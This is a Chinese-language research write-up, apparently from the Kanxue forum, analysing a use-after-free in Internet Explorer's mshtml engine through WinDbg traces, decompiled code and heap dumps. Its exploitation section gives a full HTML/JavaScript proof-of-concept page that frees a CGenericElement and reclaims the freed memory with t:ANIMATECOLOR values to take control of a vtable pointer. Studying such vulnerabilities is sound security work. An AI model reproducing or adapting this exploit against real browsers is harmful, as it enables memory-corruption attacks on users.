call ?HasInlineMbp@SLayoutRun@@SG_NPAVISpanQualifier@@_N@Z ; SLayoutRun::HasInlineMbp(ISpanQualifier *,bool)
// SLayoutRun::HasInlineMbp@<al>(CTreeNode *a1@<eax>,...
v5 = ISpanQualifier::GetFancyFormat(a2, a1, (bool)a3); // 这里a1是我们要追踪的TreeNode,它是通过eax传递的
// --> 从这里分别向上和向下看
// ISpanQualifier::GetFancyFormat
if ( ISpanQualifier::IsTreeNodeQualifier(this) )
return CTreeNode::GetFancyFormat(a2); // a2是CTreeNode指针
// CTreeNode::GetFancyFormat
v1 = *((_WORD *)this + 7); // 这里要注意,获取的是CTreeNode偏移0xE位置的值,就是Fancy Format的值,要<0才会继续按照调用流程执行
if ( v1 < 0 )
result = CTreeNode::GetFancyFormatHelper(this);
// CTreeNode::GetFancyFormatHelper
v1 = CTreeNode::GetFancyFormatIndexHelper(this);
// CTreeNode::GetFancyFormatIndexHelper
CTreeNode::ComputeFormatsHelper(this);
return *((__int16 *)this + 7); // 这里就要返回了,返回前先调用了上面那个函数
// CTreeNode::ComputeFormatsHelper
CFormatInfo::CFormatInfo(this);
CTreeNode::ComputeFormats(pCTreeNode, this); // 异常是发生在这个函数调用的时候
CFormatInfo::Cleanup(pCFormatInfo_1);
CFormatInfo::~CFormatInfo(pCFormatInfo_2);
// CTreeNode::ComputeFormats
if ( (*((_BYTE *)a2 + 9) & 0x10) != 0 ) { // 这里判断了CTreeNode+0x9处字节的最高位是不是1,如果不是1才会转到else
// 该处数据猜测与元素类型有关
...
} else {
v6 = CElement::Doc(*(CElement **)a2); // a2就是函数调用传入的第二个参数,CTreeNode指针
// 注意这里的操作就是在试图获取CTreeNode中保存的CElement
...
0:005> ba r4 0cec1fbc
0:005> g
Breakpoint 5 hit
eax=00000001 ebx=00000000 ecx=00000031 edx=00000002 esi=0cec1fb0 edi=0ab92d58
eip=72068337 esp=0849ea9c ebp=0849ec08 iopl=0 nv up ei ng nz na po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000283
mshtml!CTreeNode::VoidCachedNodeInfo+0x16:
72068337 83cbff or ebx,0FFFFFFFFh
0:005> kb
ChildEBP RetAddr Args to Child
0849eaa0 720c058a 0ce20fc8 0cec1fb0 00000e20 mshtml!CTreeNode::VoidCachedNodeInfo+0x16
0849eab0 71fa0d2a 00000e20 71fa65df 0c6e0f30 mshtml!CTreeNode::PrivateMakeDead+0x4b
0849eab8 71fa65df 0c6e0f30 00000000 00000018 mshtml!CTreeNode::PrivateExitTree+0xa
0849ec08 71fa5b42 0849ed2c 720e72d6 00000000 mshtml!CSpliceTreeEngine::RemoveSplice+0x812
0849ece8 71fa6ff9 0849ed20 0849ed2c 00000000 mshtml!CMarkup::SpliceTreeInternal+0x83
0849ed38 71fa6f39 0849eee0 0849ef1c 00000001 mshtml!CDoc::CutCopyMove+0xca
0849ed54 71fa6f17 0849eee0 0849ef1c 00000000 mshtml!CDoc::Remove+0x18
0849ed6c 71fa7aef 0849ef1c 085d074c 720591b8 mshtml!RemoveWithBreakOnEmpty+0x3a
0849ee68 71fa793e 0849eee0 0849ef1c 0849ee90 mshtml!InjectHtmlStream+0x191
0849eea4 71fa71fa 0849eee0 0849ef1c 00000000 mshtml!HandleHTMLInjection+0x5c
0849ef5c 71fa704a 00000000 00000001 085d074c mshtml!CElement::InjectInternal+0x307
0849ef78 71fa988c 0d2f7fd8 00000000 00000001 mshtml!CElement::InjectCompatBSTR+0x46
0849ef98 720e72d6 002f7fd8 085d074c 085dcfd0 mshtml!CElement::put_innerHTML+0x40
...
void __usercall CTreeNode::VoidCachedNodeInfo(__int16 *tree_node@<esi>)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
TlsGetValue(g_dwTls);
char_format = tree_node[6];
if ( char_format != -1 ) // 由于之前设置了offsetParent,此时Char Format的值不是-1
{
CDataCacheBase::ReleaseData(v1, char_format);
tree_node[6] = -1;
CDataCacheBase::ReleaseData(v3, tree_node[5]);
tree_node[5] = -1;
}
fancy_format = tree_node[7];
if ( fancy_format != -1 )
{
CDataCacheBase::ReleaseData(v1, fancy_format);
tree_node[7] = -1;
}
}
0:005> dd 0ce20fc8 la
0ce20fc8 71ecc2e8 00000002 00000008 0bfd2fe8
0ce20fd8 085b2e60 0cec1fb0 80000075 88010200
0ce20fe8 00000006 0c6e0f30
0:005> ba r4 0ce20fdc
0:005> g
Breakpoint 6 hit
eax=0ce20fc8 ebx=00000000 ecx=00000e20 edx=0cec1fb0 esi=00000000 edi=0ce20fc8
eip=71fa65f5 esp=0849eac0 ebp=0849ec08 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000286
mshtml!CSpliceTreeEngine::RemoveSplice+0x828:
71fa65f5 e8fba91100 call mshtml!CElement::DelMarkupPtr (720c0ff5)
bu SRunPointer::SpanQualifier "j ((poi(@eax+4)=1) OR (poi(@eax+4)=3)) 'g' ; 'dd eax;g'"
0849eee4 0d208fa0 0d5dcfd0 00000000 0cb7afc8
0849eef4 0849ef2c 71f8b575 0849ef13 00000000
0849ef04 00000000 0849f038 71faa6f9 0000ef24
0849ef14 00000000 00000031 0849ef93 72066e6a
0849ef24 0849ef78 71f6794c 0849ef78 721544f0
0849ef34 0849ef97 0849efab 0cb42ff0 0849f068
0849ef44 00000002 0d140fd8 00000000 0849efab
0849ef54 0cb7af00 0849f001 0bd1afd8 00000000
0:005> ddp 0849eee4
0849eee4 0d208fa0 71fc6cc8 mshtml!CTextBlock::`vftable'
0849eee8 0d5dcfd0 00000805
0849eeec 00000000
0849eef0 0cb7afc8 71fca570 mshtml!CBlockContainerBlock::`vftable'
0849eef4 0849ef2c 0849ef78
0849eef8 71f8b575 13245c38
0849eefc 0849ef13 00000000
...
0:005> ddp 0d5dcfd0
0d5dcfd0 00000805
0d5dcfd4 00000002
0d5dcfd8 0cec1fc0 00000071 // 这个地址是保存在CTreeNode中的CTreePos的地址
0d5dcfdc 0cec1fb0 0ce20fc8 // 这个地址就是CGenericElement的CTreeNode的地址
0d5dcfe0 00000806
0d5dcfe4 00000003
0d5dcfe8 0cec1fd8 00000152
0d5dcfec 0cec1fb0 0ce20fc8
0d5dcff0 00000806
0d5dcff4 00000004
0d5dcff8 0bd1afd8 00000052
0d5dcffc 0bd1afb0 0d2f7fd8
...
3.5 对比调试
3.5.1 没有hr元素
0:005> kb
ChildEBP RetAddr Args to Child
085eebf8 71fc8bff 00000000 00000010 0bdcefa0 mshtml!SLayoutRun::SetSpanQualifier+0x29
085eec14 71fcadb6 0bdcefa0 0bdcefa0 0d2c296c mshtml!SLayoutRun::Clear+0xd4
085eec28 71fcad6b 00000001 0cb5ffd8 085eec4c mshtml!CTextBlock::~CTextBlock+0x2a
085eec38 71fcae15 00000001 07f09c00 0c045790 mshtml!CTextBlock::`scalar deleting destructor'+0xe
085eec4c 71fc7836 0bfd3fe8 0cb5ffd8 07f0a0f0 mshtml!CPtsClient::DestroyParaclient+0x53
085eec68 71fc7b68 07f09c00 0d2c2978 00000000 mshtml!Ptls5::FsDestroyParaFormatResult+0x4f
...
085ef098 71f69e2c 07f09c00 0ce32600 0b92df30 mshtml!Ptls5::FsUpdateBottomlessPage+0x71
085ef13c 71f6a4f5 0092df30 0a651fa8 085ef163 mshtml!CCssDocumentLayout::GetPage+0x599
085ef2ac 7208cc48 085ef470 085ef408 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x247
085ef3e4 720bce63 0a651fa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
085ef4e0 71fcaa21 00100000 085ef538 0c535fd8 mshtml!CLayout::DoLayout+0x11d
085ef4f4 72067515 085ef538 085ef538 7208c20c mshtml!CCssPageLayout::Notify+0x140
0:005> gu
eax=0bdcefb8 ebx=0d2c296c ecx=00000000 edx=00441078 esi=0bdcefa0 edi=0bdcefa0
eip=71fcad6b esp=085eec34 ebp=085eec38 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
mshtml!CTextBlock::`scalar deleting destructor'+0xe:
71fcad6b f6450801 test byte ptr [ebp+8],1 ss:002b:085eec40=01
0:005> !heap -p -a 0bdd0fc0
address 0bdd0fc0 found in
_DPH_HEAP_ROOT @ 441000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
c443e04: bdd0000 2000
746790b2 verifier!AVrfDebugPageHeapFree+0x000000c2
77140acc ntdll!RtlDebugFreeHeap+0x0000002f
770fa967 ntdll!RtlpFreeHeap+0x0000005d
770a32f2 ntdll!RtlFreeHeap+0x00000142
74eb14d1 kernel32!HeapFree+0x00000014
72063843 mshtml!CImplAry::DeleteAll+0x00000017
71fcad6b mshtml!CTextBlock::`scalar deleting destructor'+0x0000000e
71fcae15 mshtml!CPtsClient::DestroyParaclient+0x00000053
71fc7836 mshtml!Ptls5::FsDestroyParaFormatResult+0x0000004f
...
3.5.2 没有offsetParent
0:005> dd 0bef7fb0 l13
0bef7fb0 0c497fc8 0c2a2fb0 ffff0275 ffffffff
0bef7fc0 00000061 00000000 0bef7fd8 0c2a2fc0
0bef7fd0 0c2a2fc0 0bef7fd8 00000062 00000000
0bef7fe0 0c2a2fd8 0bef7fc0 0bef7fc0 0c2a2fd8
0bef7ff0 00000008 00000000 00000000
void __usercall CTreeNode::PrivateExitTree(CTreeNode *this@<ecx>, int a2@<esi>)
{
CTreeNode *v2; // ecx
CTreeNode::PrivateMakeDead(this);
if ( (*(_BYTE *)(a2 + 0x40) & 2) == 0 )
CTreeNode::Release(v2);
}
mov ecx, [edx+40h]
mov eax, ecx
shr eax, 3
and ecx, 7
lea eax, [eax*8-8]
or eax, ecx
mov [edx+40h], eax
test eax, 0FFFFFFF8h
jnz short loc_720AE593 // 如果不跳转,就会执行HeapFree函数
push edx ; lpMem
push 0 ; dwFlags
push _g_hProcessHeap ; hHeap
call ds:__imp__HeapFree@12 ; HeapFree(x,x,x)
xor eax, eax
retn
mov ecx, [edx+40h] // ecx <- 1000b
mov eax, ecx
shr eax, 3 // eax <- 1
and ecx, 7 // ecx <- 1000b & 111b = 0
lea eax, [eax*8-8] // eax <- 1*8-8 = 0
or eax, ecx // eax <- 0
mov [edx+40h], eax
test eax, 0FFFFFFF8h // 0 不跳转
----------------------------------------------
mov ecx, [edx+40h] // ecx <- 11000b
mov eax, ecx
shr eax, 3 // eax <- 11b
and ecx, 7 // ecx <- 11000b & 111b = 0
lea eax, [eax*8-8] // eax <- 3*8-8 = 16 = 10000b
or eax, ecx // eax <- 10000b
mov [edx+40h], eax
test eax, 0FFFFFFF8h // !=0 跳转
0:005> ba r4 0cec1ff0
0:005> bl
0 e 71fe4be7 0001 (0001) 0:**** mshtml!CreateElement+0x41 "ln eax;g"
1 e 71fe485b 0001 (0001) 0:**** mshtml!CElement::CElement+0x4c ".echo '=celement='; r eax;g"
2 e 71fc0d02 0001 (0001) 0:**** mshtml!CMarkup::InsertElementInternal+0x23d ".echo '= CTreeNode =';r eax;g"
3 e 71ed20e1 0001 (0001) 0:**** mshtml!CElement::GetOffsetParentHelper
4 e 0cec1ff0 r 4 0001 (0001) 0:****
0:005> g
Breakpoint 4 hit
eax=00000008 ebx=0849e6fc ecx=0cec1fb0 edx=00000000 esi=0849d018 edi=0849d018
eip=720ae54b esp=0849cf74 ebp=0849cfc4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
mshtml!CTreeNode::AddRef+0x3:
720ae54b 8bd0 mov edx,eax
0:005> kb
ChildEBP RetAddr Args to Child
0849cf70 71f10fc0 00000000 0849d018 0849e6fc mshtml!CTreeNode::AddRef+0x3
0849cfc4 71f1129a 0aeadfa0 0cec1fb0 0849cffc mshtml!CTextBlock::ComputeSpanBeginQualifier+0x289
0849cfe8 71f8c4f7 0aeadfa0 00000002 0849e6f4 mshtml!CTextBlock::BuildSpanBeginRun+0xa1
0849e704 71f8b667 0aeadfa0 0d188f30 0d140fd8 mshtml!CTextBlock::BuildTextBlock+0xaeb
0849e748 71f68f0a 0d188f30 0d140fd8 0c0e9fc8 mshtml!CLayoutBlock::BuildBlock+0x1ec
0849e7c8 71f68c83 0c0e9fc8 0d188f30 0d140fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d
0849e800 71f68f0a 0d188f30 0cf00fd8 0c0e7fc8 mshtml!CLayoutBlock::BuildBlock+0x1c1
0849e880 71f68c83 0c0e7fc8 0d188f30 0cf00fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d
0849e8b8 71f68f0a 0d188f30 0cbddfd8 0ced9fc8 mshtml!CLayoutBlock::BuildBlock+0x1c1
0849e938 71f68c83 0ced9fc8 0d188f30 0cbddfd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d
0849e970 71f69af4 0d188f30 00000000 00000000 mshtml!CLayoutBlock::BuildBlock+0x1c1
0849ea34 71f6a4f5 01188f30 0c16afa8 0849ea5b mshtml!CCssDocumentLayout::GetPage+0x22a
0849eba4 7208cc48 0849ed68 0849ed00 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x247
0849ecdc 720bce63 0c16afa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
0849edd8 71fcaa21 00100000 0849ee30 0cee8fd8 mshtml!CLayout::DoLayout+0x11d
0849edec 72067515 0849ee30 0849ee30 7208c20c mshtml!CCssPageLayout::Notify+0x140
0849edf8 7208c20c 00000000 0cf00fb0 00000000 mshtml!NotifyElement+0x41
0849ee0c 7208c108 0849ee30 0cf00fb0 00000000 mshtml!NotifyTreeNode+0x63
0849ee64 7206730e 0849eef8 0bd7f680 0849eef8 mshtml!NotifyAncestors+0x1b7
0849eebc 7206727c 0c6e0f30 00000000 0bd7f744 mshtml!CMarkup::SendNotification+0x92
0849eee4 7208c06c 0849eef8 0bd7f870 ffffffff mshtml!CMarkup::Notify+0xd6
0849ef2c 720f7e44 0000000f 00000000 00000000 mshtml!CElement::SendNotification+0x4a
0849ef54 72119b0d 0bd5dfd8 00000001 0849f030 mshtml!CElement::EnsureRecalcNotify+0x15f
0849ef94 71ed21fc 00000000 00001200 723d8ba0 mshtml!CElement::GetOffsetParentHelper+0x60
0849efa8 720dde50 0bd5dfd8 0849f030 00000000 mshtml!CElement::get_offsetParent+0x30
int __thiscall CTreeNode::AddRef(CTreeNode *__hidden this)
?AddRef@CTreeNode@@QAEJXZ proc near
mov eax, [ecx+40h]
mov edx, eax
and edx, 0FFFFFFF8h
and eax, 7
add edx, 8
xor edx, eax
mov [ecx+40h], edx
xor eax, eax
retn
0:005> dd 0cec1fb0 l13
0cec1fb0 0ce20fc8 0bd1afb0 00020275 00000001
0cec1fc0 00000161 00000003 0bd1afc0 0cb8dfc0
0cec1fd0 0bd1afc0 0cec1fd8 00000052 00000000
0cec1fe0 00000000 0cf00fd8 0cec1fc0 0bd1afd8
0cec1ff0 00000010 0aeadfa0 00000000
0:005> dd 0aeadfa0+58 l1
0aeadff8 0d51afc0
0:005> dd 0d51afc0
0d51afc0 00000805 00000001 0bd1afc0 0bd1afb0
0d51afd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0d51afe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0d51aff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0d51b000 ???????? ???????? ???????? ????????
0d51b010 ???????? ???????? ???????? ????????
0d51b020 ???????? ???????? ???????? ????????
0d51b030 ???????? ???????? ???????? ????????
0:005> dd 0d51afc0
0d51afc0 00000805 00000001 0bd1afc0 0bd1afb0
0d51afd0 00000005 00000002 0cec1fc0 00000000
0d51afe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0d51aff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0d51b000 ???????? ???????? ???????? ????????
0d51b010 ???????? ???????? ???????? ????????
0d51b020 ???????? ???????? ???????? ????????
0d51b030 ???????? ???????? ???????? ????????
3.5.3 没有table元素
// element_array
0:005> dd 0d0f4f70 l24
0d0f4f70 00000805 00000001 0bf4bfc0 0bf4bfb0 f0 begintreepos
0d0f4f80 00000806 00000002 0bf4bfd8 0bf4bfb0 f0 endtreepos
0d0f4f90 00000805 00000003 0cee7fc0 0cee7fb0 f1 begintreepos
0d0f4fa0 00000806 00000004 0cee7fd8 0cee7fb0 f1 endtreepos
0d0f4fb0 00000805 00000005 0d156fc0 0d156fb0 f2 begintreepos
0d0f4fc0 00000805 00000006 07a5ffc0 07a5ffb0 CGenericElement begintreepos
0d0f4fd0 00000802 00000007 07a5ffd8 00000000 CGenericElement endtreepos
0d0f4fe0 00000806 00000008 07a5ffd8 07a5ffb0 CGenericElement endtreepos
0d0f4ff0 00000806 00000009 0d156fd8 0d156fb0 f2 endtreepos
0:005> ba r4 0d0f4fc8
Breakpoint 7 hit
eax=0d0f4f70 ebx=00000000 ecx=00000000 edx=0d156fb0 esi=00000050 edi=0d0f4fc0
eip=71d68be1 esp=0854d8e0 ebp=0854d8f0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
mshtml!SLayoutRun::Clear+0x11:
71d68be1 7403 je mshtml!SLayoutRun::Clear+0x16 (71d68be6) [br=0]
0:005> kb
ChildEBP RetAddr Args to Child
0854d8f0 71d3650b 0bf4bfc0 0d116fa0 0854f0b0 mshtml!SLayoutRun::Clear+0x11
0854eff4 71d2b667 0d116fa0 07d6df30 0b87bfd8 mshtml!CTextBlock::BuildTextBlock+0xd62
0854f038 71d08f0a 07d6df30 0b87bfd8 0d01afc mshtml!CLayoutBlock::BuildBlock+0x1ec
0854f0b8 71d08c83 0d01afc8 07d6df30 0b87bfd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59d
0854f0f0 71d09af4 07d6df30 00000000 0cc69fc8 mshtml!CLayoutBlock::BuildBlock+0x1c1
0854f1b4 71d0a4f5 01d6df30 0c122fa8 0854f1db mshtml!CCssDocumentLayout::GetPage+0x22a
0854f324 71e2cc48 0854f4e8 0854f480 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x247
0854f45c 71e5ce63 0c122fa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
0854f558 71d6aa21 00100000 0854f5b0 0d5d6fd8 mshtml!CLayout::DoLayout+0x11d
0854f56c 71e07515 0854f5b0 0854f5b0 71e2c20c mshtml!CCssPageLayout::Notify+0x140
...
0:005> dd 0d0f4f70 l24
0d0f4f70 00000805 00000001 00000000 ffffffff
0d0f4f80 00000806 00000002 00000000 ffffffff
0d0f4f90 00000805 00000003 00000000 ffffffff
0d0f4fa0 00000806 00000004 00000000 ffffffff
0d0f4fb0 00000805 00000005 00000000 ffffffff
0d0f4fc0 00000805 00000006 07a5ffc0 07a5ffb0
0d0f4fd0 00000802 00000007 07a5ffd8 00000000
0d0f4fe0 00000806 00000008 07a5ffd8 07a5ffb0
0d0f4ff0 00000806 00000009 0d156fd8 0d156fb0
// 垃圾回收之前
// f0, f1对应的element_array
0:005> dd 0d158fc0
0d158fc0 00000805 00000001 0d1dcfc0 0d1dcfb0 // f0
0d158fd0 00000806 00000002 0d1dcfd8 0d1dcfb0
0d158fe0 00000805 00000003 0be40fc0 0be40fb0 // f1
0d158ff0 00000806 00000004 0cb8dfc0 0be40fb0 // CTable
0d159000 ???????? ???????? ???????? ????????
// CGenericElement对应的element_array
0:005> dd 0d5dcfc0
0d5dcfc0 00000805 00000001 0bd1afc0 0bd1afb0 // f2
0d5dcfd0 00000805 00000002 0cec1fc0 0cec1fb0 // CGenericElement
0d5dcfe0 00000806 00000003 0cec1fd8 0cec1fb0
0d5dcff0 00000806 00000004 0bd1afd8 0bd1afb0
0d5dd000 ???????? ???????? ???????? ????????
// 发生异常之后
// f0, f1对应的element_array
0:005> dd 0d158fc0
0d158fc0 ???????? ???????? ???????? ????????
// CGenericElement对应的element_array
0:005> dd 0d5dcfc0
0d5dcfc0 00000805 00000001 0bd1afc0 0bd1afb0 // f2
0d5dcfd0 00000805 00000002 0cec1fc0 0cec1fb0 // CGenericElement
0d5dcfe0 00000806 00000003 0cec1fd8 0cec1fb0
0d5dcff0 00000806 00000004 0bd1afd8 0bd1afb0
0d5dd000 ???????? ???????? ???????? ????????
0:005> dd 0cb7cfa0+58 l1
0cb7cff8 07c72fc0
0:005> dd 07c72fc0
07c72fc0 00000805 00000001 0d1dcfc0 0d1dcfb0 // f0 element
07c72fd0 00000806 00000002 0be78fc0 0d1dcfb0 // hr element
07c72fe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
07c72ff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
07c73000 ???????? ???????? ???????? ????????
0:005> dd 07c76fc0
07c76fc0 00000805 00000001 0be40fc0 0be40fb0 // f1
07c76fd0 00000806 00000002 0be40fd8 0be40fb0
07c76fe0 00000805 00000003 0bd1afc0 0bd1afb0 // f2
07c76ff0 00000806 00000004 0bd1afd8 0bd1afb0
07c77000 ???????? ???????? ???????? ????????
0:005> dd 0d5dcfc0
0d5dcfc0 00000805 00000001 0bd1afc0 0bd1afb0
0d5dcfd0 00000805 00000002 0cec1fc0 0cec1fb0
0d5dcfe0 00000806 00000003 0cec1fd8 0cec1fb0
0d5dcff0 00000806 00000004 0bd1afd8 0bd1afb0
0d5dd000 ???????? ???????? ???????? ????????
3.6 总结
4
漏洞利用
4.1 原理
mshtml!CElement::Doc:
72adc400 8b01 mov eax,dword ptr [ecx]
72adc402 8b5070 mov edx,dword ptr [eax+70h]
72adc405 ffd2 call edx
t:ANIMATECOLOR:Changes the color of an object over time.
Sets or retrieves a list of semicolon-separated values of an animation.
4.2 代码
<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
function helloWorld()
{
animvalues = "";
for (i=0; i <= 0x70/4; i++) {
if (i == 0x70/4) {
//animvalues += unescape("%u5ed5%u77c1");
animvalues += unescape("%u4141%u4141");
}
else {
animvalues += unescape("%u4242%u4242");
}
}
for(i = 0; i < 13; i++) {
animvalues += ";red";
}
f0 = document.createElement('span');
document.body.appendChild(f0);
f1 = document.createElement('span');
document.body.appendChild(f1);
f2 = document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('span'));
f1.appendChild(document.createElement('table'));
try{
f0.offsetParent=null;
}catch(e) {}
f2.innerHTML="";
f0.appendChild(document.createElement('hr'));
f1.innerHTML="";
CollectGarbage();
try {
a = document.getElementById('myanim');
a.values = animvalues;
}
catch(e) {}
}
</script>
</head>
<body onload="eval(helloWorld());">
<t:ANIMATECOLOR id="myanim"/>
</body>
</html>
4.3 一些疑惑
4.3.1 t:ANIMATECOLOR为什么能够覆盖已释放空间?
4.3.2 虚表指针是怎么设置的?
0:005> kb
ChildEBP RetAddr Args to Child
0307b9f4 738ab65f 00702b88 00000000 00000038 msvcrt!memset+0x5f
0307ba54 738ae9ad 049b9898 00000008 00000000 mstime!CTIMEAnimationBase::put_values+0x23a
0307baa4 76a03ec3 049b9898 00000008 00000000 mstime!CTIMEColorAnimation::put_values+0x51
0307bacc 76a03d3d 049b9898 00000168 00000004 OLEAUT32!DispCallFunc+0x165
HRESULT __stdcall CTIMEAnimationBase::put_values(CTIMEAnimationBase *this, struct tagVARIANT pvargSrc)
{
...
str_70 = (CopyString)(v13); // 这里在为values中的字符串分配空间,并进行复制
v4 = str_70;
str_70_ = str_70;
if...
*(this + 20) = str_70;
(CAttrBase::ClearString)(v3);
*(this + 76) = 1;
v17 = StringToTokens(v4, L";", &v22); // 识别分号,定位分割后第一个字符串
v7 = v25;
*(this + 124) = v25;
if...
if...
str_13 = ATL_malloc(v7 >> 30 != 0 ? -1 : 4 * v7);// 这里在为字符串指针分配空间
// 因为大小和CGenericElement的CElement空间大小相同,所以返回了相同地址
*(this + 125) = str_13;
if ( str_13 )
{
memset(str_13, 0, 4 * *(this + 124)); // 先将空间数据清空
v18 = 0;
if...
while ( 1 ) // 这里循环处理所有分割后的字符串
{
v9 = *(4 * v18 + v26);
v10 = v9[1];
v21 = *v9;
*(4 * v18 + *(this + 125)) = ATL_malloc((v10 + 1) >> 31 != 0 ? -1 : 2 * (v10 + 1));// 为分割后字符串分配空间,并设置对应的字符串指针
// 第一个字符串指针就会作为虚表指针进行使用
v11 = (4 * v18 + *(this + 125));
if ( !*v11 )
break;
*(*v11 + 2 * v10) = 0;
StringCchCopyNW((v10 + 1), &str_70_[v21], v10, v14);// 将分割后字符串的数据复制到了上面分配的空间
if ( v15 )
{
ATL::CComVariant::operator=(*(4 * v18 + *(this + 125)));
if ( pvarg.lVal )
{
if ( !(*(*(this - 170) + 252))(this - 680, &pvarg) )
v15 = 0;
VariantClear(&pvarg);
}
}
if ( ++v18 >= *(this + 124) )
goto LABEL_28;
}
}
...
}
0:005> dda 702b88 ld
00702b88 007335b8 "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
00702b8c 00788908 "r"
00702b90 00788918 "r"
00702b94 00788928 "r"
00702b98 00788938 "r"
00702b9c 00788948 "r"
00702ba0 00788958 "r"
00702ba4 00788968 "r"
00702ba8 00788978 "r"
00702bac 00788988 "r"
00702bb0 00788998 "r"
00702bb4 007889a8 "r"
00702bb8 007889b8 "J"
5
总结
6
参考资料
看雪ID:LarryS
https://bbs.pediy.com/user-home-600394.htm
# 往期推荐
1. 11个小挑战,Qiling Framework 入门上手跟练
2. VMP导入表修复
5. 祥云杯2021 Windows R0题 Rev_APC
球分享
球点赞
球在看
点击“阅读原文”,了解更多!